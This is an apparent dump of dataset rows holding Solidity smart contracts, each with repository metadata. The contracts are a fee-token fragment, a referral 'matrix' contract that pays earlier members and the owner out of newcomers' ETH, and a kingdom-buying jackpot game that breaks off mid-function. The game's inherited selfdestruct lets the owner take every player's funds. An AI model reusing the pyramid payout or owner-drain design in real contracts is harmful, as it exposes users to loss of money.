uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 283,657 | 773 |
fc48f2e2eae89d9d731eafafa11ae218c44a4bbacab92be12bd7e18f8859d387
| 19,748 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8574_8852_0x96d059295f3aec8ff5063efa2cea50967564f234.sol
| 4,947 | 19,283 |
pragma solidity >=0.4.23 <0.7.0;
contract X365 {
struct UserAccount {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeZ3Levels;
mapping(uint8 => bool) activeZ6Levels;
mapping(uint8 => Z3) Z3Matrix;
mapping(uint8 => Z4) Z6Matrix;
}
struct Z3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct Z4{
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => UserAccount) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
uint public lastUserId = 2;
address public owner;
address public partner;
mapping(uint8 => uint) public levelPrice;
event UserRegistration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Recycle(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event UpgradeLevel(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewReferral(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedRewardsReceived(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event RewardsSent(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
event IncomeTransferred(address indexed user,address indexed from,uint256 value,uint8 matrix, uint8 level);
constructor(address ownerAddress, address partnerAddress) public {
levelPrice[1] = 0.025 ether;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
partner = partnerAddress;
UserAccount memory user ;
user= UserAccount({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 j = 1; j <= LAST_LEVEL; j++) {
users[ownerAddress].activeZ3Levels[j] = true;
users[ownerAddress].activeZ6Levels[j] = true;
}
userIds[1] = ownerAddress;
}
function regUserExternal(address referrerAddress) external payable {
userRegistration(msg.sender, referrerAddress);
}
function buyLevel(uint8 matrix, uint8 level) external payable {
require(msg.value == levelPrice[level] ,"invalid price");
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeZ3Levels[level], "level already activated");
if (users[msg.sender].Z3Matrix[level-1].blocked) {
users[msg.sender].Z3Matrix[level-1].blocked = false;
}
address freeZ3Referrer = nextFreeZ3Referrer(msg.sender, level);
users[msg.sender].Z3Matrix[level].currentReferrer = freeZ3Referrer;
users[msg.sender].activeZ3Levels[level] = true;
newZ3Referrer(msg.sender, freeZ3Referrer, level);
emit UpgradeLevel(msg.sender, freeZ3Referrer, 1, level);
} else {
require(!users[msg.sender].activeZ6Levels[level], "level already activated");
if (users[msg.sender].Z6Matrix[level-1].blocked) {
users[msg.sender].Z6Matrix[level-1].blocked = false;
}
address freeZ6Referrer = nextFreeZ4Referrer(msg.sender, level);
users[msg.sender].activeZ6Levels[level] = true;
newZ4Referrer(msg.sender, freeZ6Referrer, level);
emit UpgradeLevel(msg.sender, freeZ6Referrer, 2, level);
}
}
function userRegistration(address userAddress, address referrerAddress) private {
require(msg.value == 0.05 ether, "Invalid Cost");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cc");
UserAccount memory user = UserAccount({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeZ3Levels[1] = true;
users[userAddress].activeZ6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeZ3Referrer = nextFreeZ3Referrer(userAddress, 1);
users[userAddress].Z3Matrix[1].currentReferrer = freeZ3Referrer;
newZ3Referrer(userAddress, freeZ3Referrer, 1);
newZ4Referrer(userAddress, nextFreeZ4Referrer(userAddress, 1), 1);
emit UserRegistration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function newZ3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].Z3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].Z3Matrix[level].referrals.length < 3) {
emit NewReferral(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].Z3Matrix[level].referrals.length));
return sendRewards(referrerAddress, userAddress, 1, level);
}
emit NewReferral(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].Z3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeZ3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].Z3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = nextFreeZ3Referrer(referrerAddress, level);
if (users[referrerAddress].Z3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].Z3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].Z3Matrix[level].reinvestCount++;
emit Recycle(referrerAddress, freeReferrerAddress, userAddress, 1, level);
newZ3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendRewards(owner, userAddress, 1, level);
users[owner].Z3Matrix[level].reinvestCount++;
emit Recycle(owner, address(0), userAddress, 1, level);
}
}
function newZ4Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeZ6Levels[level], "500");
if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].Z6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewReferral(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].Z6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].Z6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendRewards(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].Z6Matrix[level].currentReferrer;
users[ref].Z6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].Z6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].Z6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].Z6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals.length == 1) {
emit NewReferral(userAddress, ref, 2, level, 5);
} else {
emit NewReferral(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].Z6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals.length == 1) {
emit NewReferral(userAddress, ref, 2, level, 3);
} else {
emit NewReferral(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].Z6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals.length == 1) {
emit NewReferral(userAddress, ref, 2, level, 5);
} else {
emit NewReferral(userAddress, ref, 2, level, 6);
}
}
return newZ4ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].Z6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].Z6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].Z6Matrix[level].closedPart)) {
newZ4(userAddress, referrerAddress, level, true);
return newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].Z6Matrix[level].closedPart) {
newZ4(userAddress, referrerAddress, level, true);
return newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
newZ4(userAddress, referrerAddress, level, false);
return newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1] == userAddress) {
newZ4(userAddress, referrerAddress, level, false);
return newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0] == userAddress) {
newZ4(userAddress, referrerAddress, level, true);
return newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0]].Z6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1]].Z6Matrix[level].firstLevelReferrals.length) {
newZ4(userAddress, referrerAddress, level, false);
} else {
newZ4(userAddress, referrerAddress, level, true);
}
newZ4ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function newZ4(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0]].Z6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewReferral(userAddress, users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0]].Z6Matrix[level].firstLevelReferrals.length));
emit NewReferral(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0]].Z6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].Z6Matrix[level].currentReferrer = users[referrerAddress].Z6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1]].Z6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewReferral(userAddress, users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1]].Z6Matrix[level].firstLevelReferrals.length));
emit NewReferral(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1]].Z6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].Z6Matrix[level].currentReferrer = users[referrerAddress].Z6Matrix[level].firstLevelReferrals[1];
}
}
function newZ4ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].Z6Matrix[level].secondLevelReferrals.length < 4) {
return sendRewards(referrerAddress, userAddress, 2, level);
}
address[] memory Z6 = users[users[referrerAddress].Z6Matrix[level].currentReferrer].Z6Matrix[level].firstLevelReferrals;
if (Z6.length == 2) {
if (Z6[0] == referrerAddress ||
Z6[1] == referrerAddress) {
users[users[referrerAddress].Z6Matrix[level].currentReferrer].Z6Matrix[level].closedPart = referrerAddress;
} else if (Z6.length == 1) {
if (Z6[0] == referrerAddress) {
users[users[referrerAddress].Z6Matrix[level].currentReferrer].Z6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].Z6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].Z6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].Z6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeZ6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].Z6Matrix[level].blocked = true;
}
users[referrerAddress].Z6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = nextFreeZ4Referrer(referrerAddress, level);
emit Recycle(referrerAddress, freeReferrerAddress, userAddress, 2, level);
newZ4Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Recycle(owner, address(0), userAddress, 2, level);
sendRewards(owner, userAddress, 2, level);
}
}
function nextFreeZ3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeZ3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function nextFreeZ4Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeZ6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersZ3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, bool) {
return (users[userAddress].Z3Matrix[level].currentReferrer,
users[userAddress].Z3Matrix[level].referrals,
users[userAddress].Z3Matrix[level].blocked,
users[userAddress].activeZ3Levels[level]);
}
function usersZ4Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, bool, address) {
return (users[userAddress].Z6Matrix[level].currentReferrer,
users[userAddress].Z6Matrix[level].firstLevelReferrals,
users[userAddress].Z6Matrix[level].secondLevelReferrals,
users[userAddress].Z6Matrix[level].blocked,
users[userAddress].activeZ6Levels[level],
users[userAddress].Z6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function getRewardRecipient(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].Z3Matrix[level].blocked) {
emit MissedRewardsReceived(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].Z3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].Z6Matrix[level].blocked) {
emit MissedRewardsReceived(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].Z6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendRewards(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = getRewardRecipient(userAddress, _from, matrix, level);
if (receiver == owner) {
if (!address(uint160(partner)).send(levelPrice[level] * 10/100)) {
address(uint160(partner)).transfer(address(this).balance*10/100);
}
if (!address(uint160(receiver)).send(levelPrice[level] * 90/100)) {
emit IncomeTransferred(receiver,_from,address(this).balance * 90/100, matrix,level);
address(uint160(receiver)).transfer(address(this).balance*90/100);
return;
}
emit IncomeTransferred(receiver,_from,levelPrice[level]*90/100,matrix,level);
if (isExtraDividends) {
emit RewardsSent(_from, receiver, matrix, level);
}
} else {
if (!address(uint160(receiver)).send(levelPrice[level])) {
emit IncomeTransferred(receiver,_from,address(this).balance, matrix,level);
return address(uint160(receiver)).transfer(address(this).balance);
}
emit IncomeTransferred(receiver,_from,levelPrice[level],matrix,level);
if (isExtraDividends) {
emit RewardsSent(_from, receiver, matrix, level);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 232,363 | 774 |
1d2e11cae2b0a41e0cc066af111158370d81e7dc18f1f430ad90e83415ec94d5
| 23,950 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x415F306a0628d35183f42D0607CD03fcb71d1e1f.sol
| 6,287 | 23,198 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function resetTimer(string _kingdomKey);
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
uint date;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
// struct RoundPoints {
// mapping(address => uint) points;
// }
struct Round {
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
mapping(address => uint) scores;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
mapping(address => uint) lastTransaction;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.03 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
// MODIFIERS
modifier checkKingdomCap(address _owner, uint _kingdomType) {
if (_kingdomType == 1) {
require((rounds[currentRound].nbKingdomsType1[_owner] + 1) < 9);
} else if (_kingdomType == 2) {
require((rounds[currentRound].nbKingdomsType2[_owner] + 1) < 9);
} else if (_kingdomType == 3) {
require((rounds[currentRound].nbKingdomsType3[_owner] + 1) < 9);
} else if (_kingdomType == 4) {
require((rounds[currentRound].nbKingdomsType4[_owner] + 1) < 9);
} else if (_kingdomType == 5) {
require((rounds[currentRound].nbKingdomsType5[_owner] + 1) < 9);
}
_;
}
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// ERC20
address public woodAddress;
ERC20Basic woodInterface;
// ERC20Basic rock;
// ERC20Basic
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress, address _woodAddress, uint _startTime, uint _endTime) {
bookerAddress = _bookerAddress;
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = _startTime;
rounds[currentRound].endTime = _endTime;
}
function () { }
function setWoodAddress (address _woodAddress) public onlyOwner {
woodAddress = _woodAddress;
woodInterface = ERC20Basic(_woodAddress);
}
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 8; i++) {
if (now < rounds[currentRound].startTime + (i * 12 hours)) {
uint result = (10 * i);
if (result > 100) {
return 100;
} else {
return result;
}
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
// woodInterface.resetTimer(_key);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
kingdom.minimumPrice = 5 ether;
} else if (kingdom.kingdomTier == 2) {
kingdom.returnPrice = 0.1125 ether;
kingdom.minimumPrice = 0.27 ether;
} else if (kingdom.kingdomTier == 3) {
kingdom.returnPrice = 0.3375 ether;
kingdom.minimumPrice = 0.81 ether;
} else if (kingdom.kingdomTier == 4) {
kingdom.returnPrice = 1.0125 ether;
kingdom.minimumPrice = 2.43 ether;
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotCommission, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
lastTransaction[msg.sender] = now;
setNewJackpot(kingdom.kingdomType, jackpotCommission, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
function giveKingdom(address owner, string _key, string _title, uint _type) onlyOwner() public {
require(_type > 0);
require(_type < 6);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, 0.02 ether, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = 0.03 ether;
kingdoms[kingdomId].locked = false;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, 0.01 ether, 0, 0, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
}
//
// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(string _key, string _title, uint _type, bool _locked) checkKingdomCap(msg.sender, _type) onlyForRemainingKingdoms() public payable {
require(now < rounds[currentRound].endTime);
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
Round storage round = rounds[currentRound];
require(round.kingdomsCreated[_key] == false);
uint refundPrice = 0.0375 ether; // (STARTING_CLAIM_PRICE_WEI.mul(125)).div(100);
uint nextMinimumPrice = 0.09 ether; // STARTING_CLAIM_PRICE_WEI.add(STARTING_CLAIM_PRICE_WEI.mul(2));
uint kingdomId = kingdoms.push(Kingdom("", "", 1, 0, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].kingdomType = _type;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = msg.sender;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
round.kingdomsKeys[_key] = kingdomId;
round.kingdomsCreated[_key] = true;
if(_locked == true) {
asyncSend(bookerAddress, ACTION_TAX);
}
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, basePrice, now)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
lastTransaction[msg.sender] = now;
setNewJackpot(_type, basePrice, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getStartTime() public view returns (uint startTime) {
return rounds[currentRound].startTime;
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function payJackpot1() internal checkIsClosed() {
address winner = getWinner(1);
if (rounds[currentRound].jackpot1.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot1.balance);
rounds[currentRound].jackpot1.winner = winner;
uint teamComission = (rounds[currentRound].jackpot1.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot1.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot1.balance = 0;
}
}
function payJackpot2() internal checkIsClosed() {
address winner = getWinner(2);
if (rounds[currentRound].jackpot2.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot2.balance);
rounds[currentRound].jackpot2.winner = winner;
uint teamComission = (rounds[currentRound].jackpot2.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot2.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot2.balance = 0;
}
}
function payJackpot3() internal checkIsClosed() {
address winner = getWinner(3);
if (rounds[currentRound].jackpot3.balance > 0 && winner != address(0)) {
require(this.balance >= rounds[currentRound].jackpot3.balance);
rounds[currentRound].jackpot3.winner = winner;
uint teamComission = (rounds[currentRound].jackpot3.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
bookerAddress.transfer(teamComission);
uint jackpot = rounds[currentRound].jackpot3.balance.sub(teamComission);
asyncSend(winner, jackpot);
rounds[currentRound].jackpot3.balance = 0;
}
}
function payJackpot4() internal checkIsClosed() {
address winner = getWinner(4);
